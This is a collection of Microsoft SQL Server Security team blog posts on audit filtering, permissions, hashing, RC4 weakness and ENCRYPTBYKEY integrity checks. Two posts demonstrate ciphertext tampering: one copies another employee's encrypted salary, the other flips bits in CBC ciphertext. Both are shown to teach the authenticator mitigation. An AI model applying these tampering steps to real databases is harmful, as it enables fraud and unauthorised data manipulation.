SQL Server Security

Filter SQL Server Audit on action_id / class_type predicate

Rinku Agarwal — Wed, 03 Oct 2012 18:09:47 GMT

In SQL Server 2012, Server Audit can be created with a predicate expression (refer to MSDN). This predicate expression is evaluated before audit events are written to the audit target. If the evaluation returns TRUE the event is written to the audit target else it's not. Hence one can filter audit records going to the audit target based on the predicate expression.

Predicate can refer to any of the audit fields described in sys.fn_get_audit_file (Transact-SQL) except file_name and audit_file_offset.

For example:

Consider a server principal ‘foo’ that already exists in SQL Server. This principal has server_principal_id of 261. Now following server audit will write all the audit events (configured in audit specification) generated by this principal (with id 261) to file target. It will not write audit events generated by other principals in SQL Server to the target.

CREATE SERVER AUDIT AuditDataAccessByPrincipal

TO FILE (FILEPATH ='C:\SQLAudit\' )

WHERE SERVER_PRINCIPAL_ID = 261

Now, in order to use action_id field as a predicate in the predicate expression, one has to provide integer value of action_id. Specifying a character code value for action_id results in following error:

CREATE SERVER AUDIT AuditDataAccessByAction_Id

TO FILE ( FILEPATH ='C:\SQLAudit\' )

WHERE ACTION_ID = 'SL'

Error:

Msg 25713, Level 16, State 23, Line 1

The value specified for event attribute or predicate source, "ACTION_ID", event, "audit_event", is invalid.

This is because internally action_id is stored as an integer value. sys.fn_get_audit_file DMV converts the integer value to a character code value for two main reasons:

1) Readability: Character code is more readable then integer value

2) Consistency with our internal metadata layer where we define such mapping between integer value and character code.

The above explanation also applies for class_type field that we have in sys.fn_get_audit_file.

Following functions will help to get around above mentioned problem with action_id and class_type fields.

1) This function converts action_id string value of varchar(4) to an integer value which can be used in the predicate expression.

create function dbo.GetInt_action_id ( @action_id varchar(4)) returns int

begin

declare @x int

SET @x = convert(int, convert(varbinary(1), upper(substring(@action_id, 1, 1))))

if LEN(@action_id)>=2

SET @x = convert(int, convert(varbinary(1), upper(substring(@action_id, 2, 1)))) * power(2,8) + @x

else

SET @x = convert(int, convert(varbinary(1), ' ')) * power(2,8) + @x

if LEN(@action_id)>=3

SET @x = convert(int, convert(varbinary(1), upper(substring(@action_id, 3, 1)))) * power(2,16) + @x

else

SET @x = convert(int, convert(varbinary(1), ' ')) * power(2,16) + @x

if LEN(@action_id)>=4

SET @x = convert(int, convert(varbinary(1), upper(substring(@action_id, 4, 1)))) * power(2,24) + @x

else

SET @x = convert(int, convert(varbinary(1), ' ')) * power(2,24) + @x

return @x

end

Select dbo.GetInt_action_id ('SL') as Int_Action_Id

Int_Action_Id

------------------

538987603

Following command will now succeed.

CREATE SERVER AUDIT AuditDataAccessByAction_Id

TO FILE ( FILEPATH ='C:\SQLAudit\' )

WHERE ACTION_ID = 538987603

2) This function converts class_type string value of varchar(2) to an integer value which can be used in the predicate expression.

create function dbo.GetInt_class_type ( @class_type varchar(2)) returns int

begin

declare @x int

SET @x = convert(int, convert(varbinary(1), upper(substring(@class_type, 1, 1))))

if LEN(@class_type)>=2

SET @x = convert(int, convert(varbinary(1), upper(substring(@class_type, 2, 1)))) * power(2,8) + @x

else

SET @x = convert(int, convert(varbinary(1), ' ')) * power(2,8) + @x

return @x

end

Select dbo.GetInt_class_type ('A') as Int_class_type

Int_class_type

-------------

8257

Following command will now succeed.

CREATE SERVER AUDIT ClasstypeAuditDataAccess

TO FILE ( FILEPATH ='C:\SQLAudit\' )

WHERE CLASS_TYPE = 8257

Following audit record will be generated for Server Audit (‘A’) class type.

ALTER SERVER AUDIT ClasstypeAuditDataAccess

WITH (STATE = ON)

...

SQL Server 2012 Best Practices Analyzer

Jack Richins — Thu, 19 Apr 2012 20:26:31 GMT

Copied from an internal email from a PM on the team, Jakub -

I’m pleased to announce that SQL Server 2012 Best Practices Analyzer (BPA) has been released and is available for download at http://www.microsoft.com/download/en/details.aspx?id=29302.

Customer Value

The Microsoft SQL Server 2012 BPA is a diagnostic tool that
performs the following functions:

Gathers information about a Server and a
Microsoft SQL Server 2012 instance installed on that Server.
Determines if the configurations are set
according to the recommended best practices.
Reports on all configurations, indicating
settings that differ from recommendations.
Indicates potential problems in the installed
instance of SQL Server.
Recommends solutions to potential problems.

Security Best Practice and Label Security Whitepapers

Jack Richins — Wed, 07 Mar 2012 01:06:00 GMT

2 New Whitepapers:

SQL Server 2012 Security Best Practice white paper (updated link: http://download.microsoft.com/download/8/F/A/8FABACD7-803E-40FC-ADF8-355E7D218F4C/SQL_Server_2012_Security_Best_Practice_Whitepaper_Apr2012.docx) from operational perspective (compliance, encryption, access control, authentication, network security, and auditing)
SQL Server 2012 Label Security Toolkit and white paper

Azure Trust Services

Don Pinto — Fri, 17 Feb 2012 18:22:00 GMT

Microsoft is working on a new Windows Azure service through SQL Azure Labs, called Trust Services. It is an application-level encryption framework that can be used to protect sensitive data stored on the Windows Azure Platform. By using Trust Services you can store keys, authorizations and encryption policies in the cloud, and use them to encrypt and decrypt sensitive data.

Trust Services provides a API that simplifies the development process and enables easy integration with data driven applications.

Check it out at Microsoft Codename "Trust Services". We are looking forward for your feedback.

SQL Azure Security Services

Bala Neerumalla — Thu, 02 Feb 2012 02:00:00 GMT

Last week, we released SQL Azure Security Services through SQL Azure Labs. In this initial version of our labs, you can

Scan your SQL Azure server or individual databases for security issues - We look for design issues, elevation issues and etc.
Get a report of your database security model - You can quickly know which users exist in a database, role memberships, permissions on various objects and etc, to reason over presence of user accounts or permissions on various objects.
Scan your data for malware presence (Currently we only check for Mass SQL Injection Attacks) - We have been observing Automated Mass SQL Injection attacks for over 4 years now, we scan for presence of malicious javascript in your data.

Please try the service here and let us know your feedback.

- Bala Neerumalla.

Meet the team at SQL PASS Summit 2011

Don Pinto — Tue, 11 Oct 2011 22:46:00 GMT

PASS Summit 2011 is coming to Seattle this week starting October 11^th 2011. You'll have the opportunity to meet a lot of folks from the SQL Server team during the event, and a variety of speakers that will share their experiences and delight you with awesome SQL Server sessions.

Lastly, the SQL Server Engine Security Team will be present at the conference and this is your opportunity to meet with us so that we can answer your questions. For those interested in SQL Server Security, we recommend that you attend the following talks –

(1) SQL PASS Session - [DBA-412-M] What’s New in Security for SQL Server Code Name "Denali"

Friday, October 14, 2011 2:00 PM-3:15 PM, Room 608

Presented by Il-Sung Lee

(2) SQL PASS Theater Session - SQL Server 2011 Audit Enhancements

Wednesday, October 12, 2011, 10:30am - 11:00am, Microsoft Booth # 208

Presented by Jack Richins

(3) SQL PASS Theater Session – A quick lap around SQL Server Encryption

Wednesday, October 12, 2011, 1:45pm – 2:15pm, Microsoft Booth # 208

Presented by Don Pinto

Also, don’t forget to stop by the Security and Compliance Booth and the Performance/Security Expert POD to meet with our team members, and ask questions or share your product feedback and suggestions.

We look forward to seeing you at SQL PASS!

- SQL Engine Security Team-

Data Hashing in SQL Server

Don Pinto — Fri, 26 Aug 2011 17:25:00 GMT

A common scenario in data warehousing applications is knowing what source system records to update, what data needs to be loaded and which data rows can be skipped as nothing has changed since they were last loaded. Another possible scenario is the need to facilitate searching data that is encrypted using cell level encryption or storing application passwords inside the database.

Data Hashing can be used to solve this problem in SQL Server.

A hash is a number that is generated by reading the contents of a document or message. Different messages should generate different hash values, but the same message causes the algorithm to generate the same hash value.

The HashBytes function in SQL Server

SQL Server has a built-in function called HashBytes to support data hashing.

HashBytes ( '<algorithm>', { @input | 'input' } )
<algorithm>::= MD2 | MD4 | MD5 | SHA | SHA1 | SHA2_256 | SHA2_512

Here is a sample along with the return values commented in the next line :

Properties of good hash functions

A good hashing algorithm has these properties:

It is especially sensitive to small changes in the input. Minor changes to the document will generate a very different hash result.
It is computationally unfeasible to reverse. There will be absolutely no way to determine what changed in the input or to learn anything about the content of an input by examining hash values. For this reason, hashing is often called one-way hashing.
It is very efficient.

Should you encrypt or hash?

During application development, it might be useful to understand when to encrypt your data vs. when to hash it.

The difference is that encrypted data can be decrypted, while hashed data cannot be decrypted. Another key difference is that encryption normally results in different results for the same text but hashing always produces the same result for the same text. The deciding factor when choosing to encrypt or hash your data comes after you determine if you'll need to decrypt the data for offline processing.

A typical example of data that needs to be decrypted would be within a payment processing system is a credit card number. Thus the credit card number should be encrypted in the payment processing system. However, in the case of security code for the credit card, hashing it is sufficient if only equality checks are done and the system does not need to know it’s real value.

Encryption is a two way process but hashing is unidirectional

How to use hashbytes for indexing encrypted data.

Encryption introduces randomization and in there is no way to predict the outcome of an encryption built-in. Does that mean creating an index on top of encrypted data is not possible?

However, data hashing can come to your rescue. Refer to this blog post to learn how.

Which hash function should I choose?

Although, most hashing functions are fast, the performance of a hashing function depends on the data to be hashed and the algorithm used.

There is no magic bullet. For security purposes, it is advised to use the strongest hash function (SHA2_512). However, you can choose other hashing algorithms depending on your workload and data to hash.

Hash functions or CHECK_SUM()?

SQL Server has the CHECK_SUM () (or BINARY_CHECKSUM ()) functions for generating the checksum value computed over a row of a table, or over a list of expressions.

One problem with the CHECK_SUM() (or BINARY_CHECKSUM()) functions is that the probability of a collision may not be sufficiently low for all applications (i.e. it is possible to come across examples of two different inputs hashing to the same output value). Of course, collisions are possible with any functions that have a larger domain than its range but because the CHECK_SUM function implements a simple XOR, the probability of this collision is high.

Try it out using the following example -

---

Don Pinto, PM, SQL Server Engine

Database Engine Permission Basics

Don Pinto — Fri, 26 Aug 2011 00:05:00 GMT

I am posting this on behalf of my colleague Rick Byham, a technical writer on the SQL Server Team.

Database Engine permissions are managed at the server level through logins and fixed server roles, and at the database level through database users and user-defined database roles.

Logins

Logins are individual user accounts for logging on to the SQL Server Database Engine. SQL Server supports logins based on Windows authentication and logins based on SQL Server authentication. For information about the two types of logins, see Choosing an Authentication Mode .

Fixed Server Roles

Fixed server roles are a set of preconfigured roles that provide convenient group of server-level permissions. Logins can be added to the roles using the sp_addsrvrolemember procedure.

Database Users

Logins are granted access to a database by creating a database user in a database and mapping that database user to login. Typically the database user name is the same as the login name, though it does not have to be the same. Each database user maps to a single login. A login can be mapped to only one user in a database, but can be mapped as a database user in several different databases.

Fixed Database Roles

Fixed database roles are a set of preconfigured roles that provide convenient group of database-level permissions. Database users and user-defined database roles can be added to the fixed database roles using the sp_addrolemember procedure.

User-defined Database Roles

Users with the CREATE ROLE permission can create new user-defined database roles to represent groups of users with common permissions. Typically permissions are granted or denied to the entire role, simplifying permissions management and monitoring.

Typical Scenario

The following example represents a common and recommended method of configuring permissions.

In Active Directory:

Create a Windows user for each person.
Create Windows groups that represent the work units and the work functions.
Add the Windows users to the Windows groups.

In SQL Server:

Create a login for the Windows groups. (If using SQL Server authentication, skip the Active Directory steps, and create SQL Server authentication logins here.)
Create a database user for the login representing the Windows groups.
Create one or more user-defined database roles, each representing a similar function. For example financial analyst, and sales analyst.
Add database users to one or more user-defined database roles.
Grant permissions to the user-defined database roles.

Assigning Permissions

Most permission statements have the format :

AUTHORIZATION PERMISSION ON SECURABLE::NAME TO PRINCIPAL

AUTHORIZATION must be GRANT, REVOKE or DENY.
PERMISSION is listed in the chart referenced below.
ON SECURABLE::NAME is the server, server object, database, or database object and its name. Some permissions do not require ON SECURABLE::NAME because it is unambiguous or inappropriate in the context. For example the CREATE TABLE permission doesn’t require the ON SECURABLE::NAME clause.
PRINCIPAL is the login, user, or role which receives or loses the permission. Grant permissions to roles whenever possible.

Sample grant statement: GRANT UPDATE ON OBJECT::Production.Parts TO PartsTeam

Permissions are granted to security principals (logins, users, and roles) by using the GRANT statement. Permissions are explicitly denied by using the DENY command. A previously granted or denied permission is removed by using the REVOKE statement. Permissions are cumulative, with the user receiving all the permissions granted to the user, login, and any group memberships; however any permission denial overrides all grants.

Tip: A common mistake is to attempt to remove a GRANT by using DENY instead of REVOKE. This can cause problems when a user receives permissions from multiple sources; which is quite common. The following example demonstrates the principal.

The Sales group receives SELECT permissions on the OrderStatus table through the statement GRANT SELECT ON OBJECT::OrderStatus TO Sales. User Ted is a member of the Sales role. Ted has also been granted SELECT permission to the OrderStatus table under his own user name through the statement GRANT SELECT ON OBJECT::OrderStatus TO Ted. Presume the administer wishes to remove the GRANT to the Sales role.

If the administrator correctly executes REVOKE SELECT ON OBJECT::OrderStatus TO Sales, then Ted will retain SELECT access to the OrderStatus table through his individual GRANT statement.
If the administrator incorrectly executes DENY SELECT ON OBJECT::OrderStatus TO Sales then Ted, as a member of the Sales role, will be denied the SELECT permission because the DENY to Sales overrides his individual GRANT.

Permission Hierarchy

Permissions have a parent/child hierarchy. That is, if you grant SELECT permission on a database, if includes SELECT permission on all (child) schemas in the database. If you grant SELECT permission on a schema, it includes SELECT permission on all the (child) tables and views in the schema. The permissions are transitive; that is, if you grant SELECT permission on a database, it includes SELECT permission on all (child) schemas, and all (grandchild) tables, and all views.

Permissions also have covering permissions. The CONTROL permission on an object, normally gives you all other permissions on the object.

Because both the parent/child hierarchy and the covering hierarchy can act on the same permission, the permission system can get complicated. For example, let's take a table (Region), in a schema (Customers), in a database (SalesDB).

CONTROL permission on table Region includes all the other permissions on the table Region, including ALTER, SELECT, INSERT, UPDATE, DELETE, and some other permissions.
SELECT on the Customers schema that owns the Region table includes the SELECT permission on the Region table.

So SELECT permission on the Region table can be achieved through any of these three statements:

GRANT SELECT ON OBJECT::Region TO Ted
GRANT CONTROL ON OBJECT::Region TO Ted
GRANT SELECT ON SCHEMA::Customers TO Ted
GRANT CONTROL ON SCHEMA::Customers TO Ted
GRANT SELECT ON DATABASE::SalesDB TO Ted
GRANT CONTROL ON DATABASE::SalesDB TO Ted

Grant the Least Permissions

The first permission listed above (GRANT SELECT ON OBJECT::Region TO Ted) is the most granular, that is, that statement is the least permission possible that grants the SELECT. No permissions to subordinate objects come with it. Always grant the least permission possible, but grant at higher levels in order to simplify the granting system. So if Ted needs permissions to the entire schema, grant SELECT once at the schema level, instead of granting SELECT at the table of view level many times. The design of the database has a great deal of impact on how successful this strategy can be. This strategy will work best when your database is designed so that objects needing identical permissions are included in a single schema.

List of Permissions

SQL Server 2008 R2 has 195 permissions. SQL Server Code-named 'Denali' has 214 permissions. The following graphic shows the permissions and their relationships to each other. Some of the higher level permissions (such as CONTROL SERVER) are listed many times.
5710.Permissions_Poster_2008_R2_Wiki.pdf

Permissions vs. Fixed Server and Fixed Database Roles

The permissions of the fixed server roles and fixed database roles are similar but not exactly the same as the granular permissions. For example, members of the sysadmin fixed server role have all permissions on the instance of SQL Server, as do logins with the CONTROL SERVER permission. But granting the CONTROL SERVER permission does not make a login a member of the sysadmin fixed server role, and making adding a login to the sysadmin fixed server role does not explicitly grant the login the CONTROL SERVER permission. Sometimes a stored procedure will check permissions by checking the fixed role and not checking the granular permission. For example detaching a database requires membership in the db_owner fixed database role. The equivalent CONTROL DATABASE permission is not enough. These two systems operate in parallel but rarely interact with each other. Microsoft recommends using the newer, granular permission system instead of the fixed roles whenever possible.

Monitoring permissions

The following views return security information.

The logins and user-defined server roles (available in SQL Server Code-named 'Denali') on a server can be examined by using the sys.server_principals view.
The users and user-defined roles in a database can be examined by using the sys.database_principals view.
The permissions granted to logins and user-defined fixed server roles can be examined by using the sys.server_permissions view.
The permissions granted to user and user-defined fixed database roles can be examined by using the sys.database_permissions view.
Database role membership can be examined by using the sys. sys.database_role_members view.
Server role membership can be examined by using the sys. sys.server_role_members view.
For additional security related views, see Security Catalog Views (Transact-SQL) .

The following statements return useful information about permissions.

To return the explicit permissions granted or denied in a database, execute the following statement in the database.

SELECT
perms.state_desc AS State,
permission_name AS [Permission],
obj.name AS [on Object],
dPrinc.name AS [to User Name],
sPrinc.name AS [who is Login Name]
FROM sys.database_permissions AS perms
JOIN sys.database_principals AS dPrinc
ON perms.grantee_principal_id = dPrinc.principal_id
JOIN sys.objects AS obj
ON perms.major_id = obj.object_id
LEFT OUTER JOIN sys.server_principals AS sPrinc
ON dPrinc.sid = sPrinc.sid

To return the members of the server roles, execute the following statement.

SELECT sRole.name AS [Server Role Name] , sPrinc.name AS [Members]
FROM sys.server_role_members AS sRo
JOIN sys.server_principals AS sPrinc
ON sRo.member_principal_id = sPrinc.principal_id
JOIN sys.server_principals AS sRole
ON sRo.role_principal_id = sRole.principal_id;

To return the members of the database roles, execute the following statement in the database.

SELECT dRole.name AS [Database Role Name], dPrinc.name AS [Members]
FROM sys.database_role_members AS dRo
JOIN sys.database_principals AS dPrinc
ON dRo.member_principal_id = dPrinc.principal_id
JOIN sys.database_principals AS dRole
ON dRo.role_principal_id = dRole.principal_id;

SQL Server 2008 PCI DSS v.2.0 Whitepaper

Il-Sung — Fri, 15 Jul 2011 17:16:00 GMT

If PCI compliance with SQL Server is a concern for you, then you'll probably want to check out the Deploying SQL Server 2008 R2 Based on Payment Card Industry Data Security Standards (PCI DSS) Version 2.0 white paper published by Parente Beard LLC. The paper is written by certified PCI auditors (QSAs) and is similar to the PCI v1.2 white paper that they previously published but updated for PCI DSS 2.0. It should be an invaluable resource as you prepare for your certification.

Il-Sung

Integrity checks with EncryptByKey

Raul Garcia - MS — Tue, 05 Apr 2011 23:54:00 GMT

This article is a follow up to “Prevent Tampering of Encrypted Data Using @add_authenticator Argument for ENCRYPTBYKEY”. In the last article we described a scenario where the security risk of copying encrypted data from one row to another could be blocked, but there are other scenarios that can benefit from using the @add_authenticator and @authenticator arguments of ENCRYPTBYKEY.

Generally speaking, it is highly recommended to make use of the @add_authenticator argument to add some form of integrity check, even if the value for the @authenticator parameter is a constant for the whole table. In order to understand the motivation for this recommendation, it is necessary to explain some basic concepts of block ciphers (The information I present in this article is a high-level abstraction of this subject).

In cryptography there are several modes of operation to work with multiple blocks of data. One of the most common modes of operation is cipher-block chaining (CBC) mode, which has specific error propagation characteristics. In a nutshell, one error in a given block will affect only a deterministic number of blocks. The error-correction characteristics of this chaining mode may allow an adversary to tamper with the message. A common mitigation against such data tampering is to use an integrity check mechanism.

The SQL Server ENCRYPTBYKEY built-in function uses CBC mode and therefore it is subject to this error-propagation mechanism and data tampering threat. Without using any integrity checks (i.e. if the default @add_authenticator is not set), an adversary may be able to manipulate the ciphertext in such a way that the blob can control some of the bits of the plaintext. When the @add_authenticator parameter is set, the @authenticator argument is used along with the @plaintext parameter to calculate a hash value that is encrypted and acts as the integrity check.

Below is an example describing how a crafty adversary may tamper with data. For the following sample, we assume that the attacker has no direct access to the key (i.e. access to the key may be controlled via a stored procedure), but the attacker has direct write privileges (i.e. a way to insert the tampered ciphertext), and that other than verifying for null values, the application may not have any additional checks on decrypted data.

CREATE TABLE t( data varbinary(200))

INSERT INTO t VALUES (ENCRYPTBYKEY(key_guid('key1'), N'Testingtesting1234'));

SELECT * FROM t;

-- 0x008CB602DBC9D145B899AC05FC14E2A30100000093384ECE68D1618EB5E197…

-- Application “myApp” decryps data and returns the plaintext

-- “Testingtesting1234”

SELECT CONVERT( nvarchar(100), DECRYPTBYKEY(data)) FROM t

Now, imagine that the attacker may be able to inject the following ciphertext (notice that the attacker modified a single bit of the original ciphertext):

INSERT INTO t VALUES (

0x008CB602DBC9D145B899AC05FC14E2A30100000093384ECE68D1618EB5F197…);

SELECT * FROM t;

Results:

Testingtesting1234

ၔestingtesting1234

Now let’s see what happens when using the @authenticator parameter. In this particular case I am using an arbitrary string to demonstrate the integrity check. The value for the @authenticator argument in this case is not important, as long as it is the same value for encryption and decryption calls.

INSERT INTO t VALUES (

ENCRYPTBYKEY(key_guid('key1'), N'Testingtesting1234', 1, 'abc'));

SELECT * FROM t;

-- 0x008CB602DBC9D145B899AC05FC14E2A3010000009925C3FB4D21B13D92869A53BB959303483575FE0D…

-- Testingtesting1234

SELECT CONVERT( nvarchar(100), DECRYPTBYKEY(data, 1, 'abc')) FROM t

Attacker:

INSERT INTO t VALUES (0x008CB602DBC9D145B899AC05FC14E2A3010000009925C3FB4D21B13D92869A53BB959303483575FF0D …)

SELECT CONVERT( nvarchar(100), DECRYPTBYKEY(data, 1, 'abc')) FROM t

Results:

Testingtesting1234

NULL

As the final NULL result shows, the integrity check failed, and instead of returning a corrupted plaintext, the result of the decrypt call is discarded and the DECRYPTBYKEY function returns null.

-Raul Garcia

P.S. Thanks a lot to Jack Richins & Rick Byham for their feedback.

Prevent Tampering of Encrypting Data Using add_authenticator Argument of EncryptByKey

Raul Garcia - MS — Tue, 22 Feb 2011 04:53:00 GMT

This article is one of several articles discussing some of the best practices for encrypting data. This article demonstrates how the @add_authenticator argument of the ENCRYPTBYKEY function can help prevent tampering with encrypted data.

Imagine the following scenario: The DBA is encrypting the salary column for all employees in such a way that people with authorization to access the table, but no access to the encryption key can see and manipulate the table, but cannot access the salary in plaintext. Mallory is one such employee, who has SELECT, INSERT & UPDATE on the table as required for her daily job, but no access to the encryption keys protecting the salary column.

CREATE TABLE employees( employee_id int identity primary key, name nvarchar(256), salary_crypt varbinary(8000));

CREATE CERTIFICATE cert_demo WITH SUBJECT = 'Encryption demo';

CREATE SYMMETRIC KEY key_employee WITH ALGORITHM = AES_256

ENCRYPTION BY CERTIFICATE cert_demo;

OPEN SYMMETRIC KEY key_employee DECRYPTION BY CERTIFICATE cert_demo;

INSERT INTO employees VALUES ( N'Alice',

ENCRYPTBYKEY( key_guid('key_employee'),

CONVERT(varbinary(100), 50000.00)));

INSERT INTO employees VALUES ( N'Bob',

ENCRYPTBYKEY( key_guid('key_employee'),

CONVERT(varbinary(100), 1000.00)));

INSERT INTO employees VALUES ( N'Mallory',

ENCRYPTBYKEY( key_guid('key_employee'),

CONVERT(varbinary(100), 1000.00)));

--1 Alice 5000

--2 Bob 1000

--3 Mallory 1000

SELECT employee_id, name, CONVERT(decimal,

DECRYPTBYKEY(salary_crypt)) AS salary FROM employees;

CLOSE SYMMETRIC KEY key_employee;

CREATE USER [mallory] WITHOUT LOGIN;

GRANT UPDATE ON employees TO [mallory];

GRANT SELECT ON employees TO [mallory];

In this scenario, Mallory may not be able to recover the plaintext from anybody else in the company, but she may still be able to modify her own salary. She may not be able to see the salary for Alice, her manager, but she can easily guess that Alice’s salary is higher than her own. What would Mallory do? Simply copy Alice’s salary into her own row.

EXECUTE AS USER = 'mallory';

--Msg 15151, Level 16, State 1, Line 1

--Cannot find the symmetric key 'key_employee', because it does not exist or you do not have permission.

OPEN SYMMETRIC KEY key_employee DECRYPTION BY CERTIFICATE cert_demo;

--1 Alice 0x... (Alice’s salary)

--2 Bob 0x... (Bob’s salary)

--3 Mallory 0x... (Mallory’s salary)

SELECT * FROM employees;

-- Mallory can copy Alice’s salary into her own row

-- Alice's ID = 1

-- Mallory's ID = 3

DECLARE @ceo_grade_salary varbinary(8000);

SELECT @ceo_grade_salary = salary_crypt FROM employees WHERE employee_id = 1;

UPDATE employees SET salary_crypt = @ceo_grade_salary WHERE employee_id = 3;

--1 Alice 0x... (Alice’s salary)

--2 Bob 0x... (Bob’s salary)

--3 Mallory 0x... (Alice’s salary)

-- Looks like a successful attack at a glance…

SELECT * FROM employees;

REVERT;

If the ciphertext for salary was created without any form of integrity check that takes into account the context in which the value is meaningful (i.e. it hasn’t been copied from one row to another), mallory’s attack may be successful.

-- ... and it was indeed a successful attack!

--1 Alice 5000

--2 Bob 1000

--3 Mallory 5000

SELECT employee_id, name, CONVERT(decimal,

DECRYPTBYKEY(salary_crypt)) AS salary FROM employees;

In order to prevent these kind of attacks using SQL Server encryption built-ins, the application developer may make use of the @add_authenticator parameter set to 1 and set the @authenticator parameter to a unique-per-row, immutable value such as the employee ID in this example (which also happens to be the primary key in this case).

DROP TABLE employees;

CREATE TABLE employees( employee_id int identity primary key,

name nvarchar(256), salary_crypt varbinary(8000));

OPEN SYMMETRIC KEY key_employee DECRYPTION BY CERTIFICATE cert_demo;

-- This time we will use the employee ID as

-- @authenticator for the encryption field

-- Given the simplicity of the nature of this demo, I will create the

-- rows first (to populate the ID) and add the salaries later

INSERT INTO employees VALUES ( N'Alice', null);

INSERT INTO employees VALUES ( N'Bob', null);

INSERT INTO employees VALUES ( N'Mallory', null);

-- Update each salary using the employee_id as @authenticator

UPDATE employees SET salary_crypt =

ENCRYPTBYKEY( key_guid('key_employee'),

CONVERT(varbinary(100), 5000.00),

1, CONVERT(varbinary(8000), employee_id))

WHERE employee_id = 1;

UPDATE employees SET salary_crypt =

ENCRYPTBYKEY( key_guid('key_employee'),

CONVERT(varbinary(100), 1000.00),

1, CONVERT(varbinary(8000), employee_id))

WHERE employee_id = 2;

UPDATE employees SET salary_crypt =

ENCRYPTBYKEY( key_guid('key_employee'),

CONVERT(varbinary(100), 1000.00),

1, CONVERT(varbinary(8000), employee_id))

WHERE employee_id = 3;

--1 Alice 5000

--2 Bob 1000

--3 Mallory 1000

SELECT employee_id, name, CONVERT(decimal,

DECRYPTBYKEY(salary_crypt, 1, CONVERT(varbinary(8000), employee_id))) AS salary FROM employees;

CLOSE SYMMETRIC KEY key_employee;

GRANT UPDATE ON employees TO [mallory];

GRANT SELECT ON employees TO [mallory];

When using the @add_authenticator = 1 parameter during encryption, the @athenticator value is going to be used along to the plaintext to generate a hash (SHA-1) that is going to be verified during decryption. If the value for @authenticator specified during the decryption call cannot generate a matching hash (or not specified at all) the decryption call will fail and return NULL.

-- Assuming the same attack as before

-- Did Mallory succeeded this time?

OPEN SYMMETRIC KEY key_employee DECRYPTION BY CERTIFICATE cert_demo;

-- ... no, she didn’t! She got a null salary this time,

-- This result would be a good indication of tampering

--1 Alice 5000

--2 Bob 1000

--3 Mallory null

SELECT employee_id, name, CONVERT(decimal,

DECRYPTBYKEY(salary_crypt, 1, CONVERT(varbinary(8000), employee_id)))

AS salary FROM employees;

I hope this information helps.

-Raul

Special thanks to Jack Richins & Rick Byham for their feedback while writing this article.

Revisiting the RC4 / RC4_128 Cipher

Don Pinto — Wed, 09 Feb 2011 16:50:00 GMT

The implementation of RC4/RC4_128 in SQL Server does not salt the key and this severely weakens the security of data that is encrypted using the RC4/RC4_128 algorithm.

In cryptography, an initialization vector (IV) is a fixed size input to a cryptographic algorithm that is typically required to be random or pseudorandom. Salting of cipher keys makes sure that the encryption algorithm always uses a randomized (IV) value. This leads to the following properties of the cipher-text data -

Encrypting the same piece of data two times by using the same key will produce two different cipher-text values. For example, a table might have a column value appearing multiple times. When encrypted, a user cannot recognize the presence of similar plain-text values by just comparing the cipher-text values.
This mechanism adds additional protection against cryptanalysis of the cipher-text data.

Figure: Encryption without salted keys

Figure: Encryption with salted keys

Since SQL Server does not salt RC4 or RC4_128 keys, similar data that is encrypted by using the same RC4/RC4_128 key repeatedly will result in the same cipher-text output.

Let us understand the implications of using the RC4 or RC4_128 cipher with the help of an example:

--Step (1) : Create a database testDB

CREATE DATABASE testDB;

USE testDB

--Step (2) : Create an RC4 symmetric key object protected by a password in testDB

CREATE SYMMETRIC KEY sym_key_RC4

WITH ALGORITHM = RC4

ENCRYPTION BY PASSWORD = 'SomeStr0ngPassword';

--Step (3) : Open the RC4 key to use for encryption

OPEN SYMMETRIC KEY sym_key_RC4 DECRYPTION BY PASSWORD = 'SomeStr0ngPassword';

--Step (4) : Experiment using the RC4 cipher to encrypt data

SELECT encryptbykey(key_guid('sym_key_RC4'), 'abc');

-- Output : 0x0053ED707ACDC54F83C4B273B29D819B01000000EADEA0D236B4D17BF321EB

SELECT encryptbykey(key_guid('sym_key_RC4'), 'abc');

-- Output : 0x0053ED707ACDC54F83C4B273B29D819B01000000EADEA0D236B4D17BF321EB

--Step (5) : Close the RC4 symmetric key

CLOSE SYMMETRIC KEY myRC4;

Notice that when data ‘abc’ is encrypted by using the RC4 symmetric key ‘sym_key_RC4’, the output representing the cipher-text is identical both times. It might appear intuitive to solve this problem by programmatically adding different salt values such as ‘0123456789ABCDEF’ and ‘FED6753925243232’ through the application code as shown below –

SELECT encryptbykey(key_guid('sym_key_RC4'), '0123456789ABCDEFabcdefg' );

--Output :

0x00E53ACDE34CAE4BA2140D6A246F6CBC 01000000 A6FC3B9FB44D4CC1 A8575A5FD06AFFA42FFCBD2DCF68F3F0 89FD6BC5947987

SELECT encryptbykey(key_guid('sym_key_RC4'), 'FED6753925243232abcdefg' );

--Output :

0x00E53ACDE34CAE4BA2140D6A246F6CBC 01000000 A6FC3B9FB44D4CC1 DE232C5AD36AFAAA25F0CE5BBF1E8584 89FD6BC5947987

However, because RC4/RC4_128 is a stream cipher, the additional salt does not help hide patterns across multiple usages of the key.

To detect the use of RC4/RC4_128 symmetric key objects, users can use the Microsoft Best Practices Analyzer tool for SQL Server 2008 R2 [2], Policy Based Management [3] or directly query the sys.symmetric_keys catalog view using the query below –

SELECT * FROM sys.symmetric_keys

WHERE algorithm_desc = 'RC4'

OR algorithm_desc = 'RC4_128';

To mitigate this problem, developers are advised to use stronger cipher algorithms such as the AES family of algorithms for protecting sensitive data as shown in the example below –

--Step (1) : Create an AES_256 symmetric key object protected by a password

CREATE SYMMETRIC KEY sym_key_aes256

WITH ALGORITHM = AES_256

ENCRYPTION BY PASSWORD = 'SomeStr0ngPassword';

--Step (2) : Open the AES-256 key to use for encryption

OPEN SYMMETRIC KEY sym_key_aes256 DECRYPTION BY PASSWORD = 'SomeStr0ngPassword';

--Step (3) : Experiment using the AES-256 cipher to encrypt data

SELECT encryptbykey(key_guid('sym_key_aes256'), 'abc');

-- Output call 1: 0x0067F1EFBC6DE347AB1C383CD1E1CBA801000000D95D9B9257F15A5B3F32EC8E2B11FB66B5EF589B240E31F72FA832BFF67BAE7A

SELECT encryptbykey(key_guid('sym_key_aes256'), 'abc');

-- Output call 2: 0x0067F1EFBC6DE347AB1C383CD1E1CBA80100000065A91373165552336A88CA70B6E6FFC61E84152D93BFCD834DD6F965DF22B475

--Step (4): Close the AES-256 symmetric key

CLOSE SYMMETRIC KEY sym_key_aes256;

Additional links –

[1] Why encryption should be salted?

http://blogs.msdn.com/b/lcris/archive/2006/05/08/why-encryption-should-be-salted-and-a-small-c-demo.aspx

[2] Microsoft SQL Server 2008 R2 Best Practices Analyzer

http://www.microsoft.com/downloads/en/details.aspx?displaylang=en&FamilyID=0fd439d7-4bff-4df7-a52f-9a1be8725591

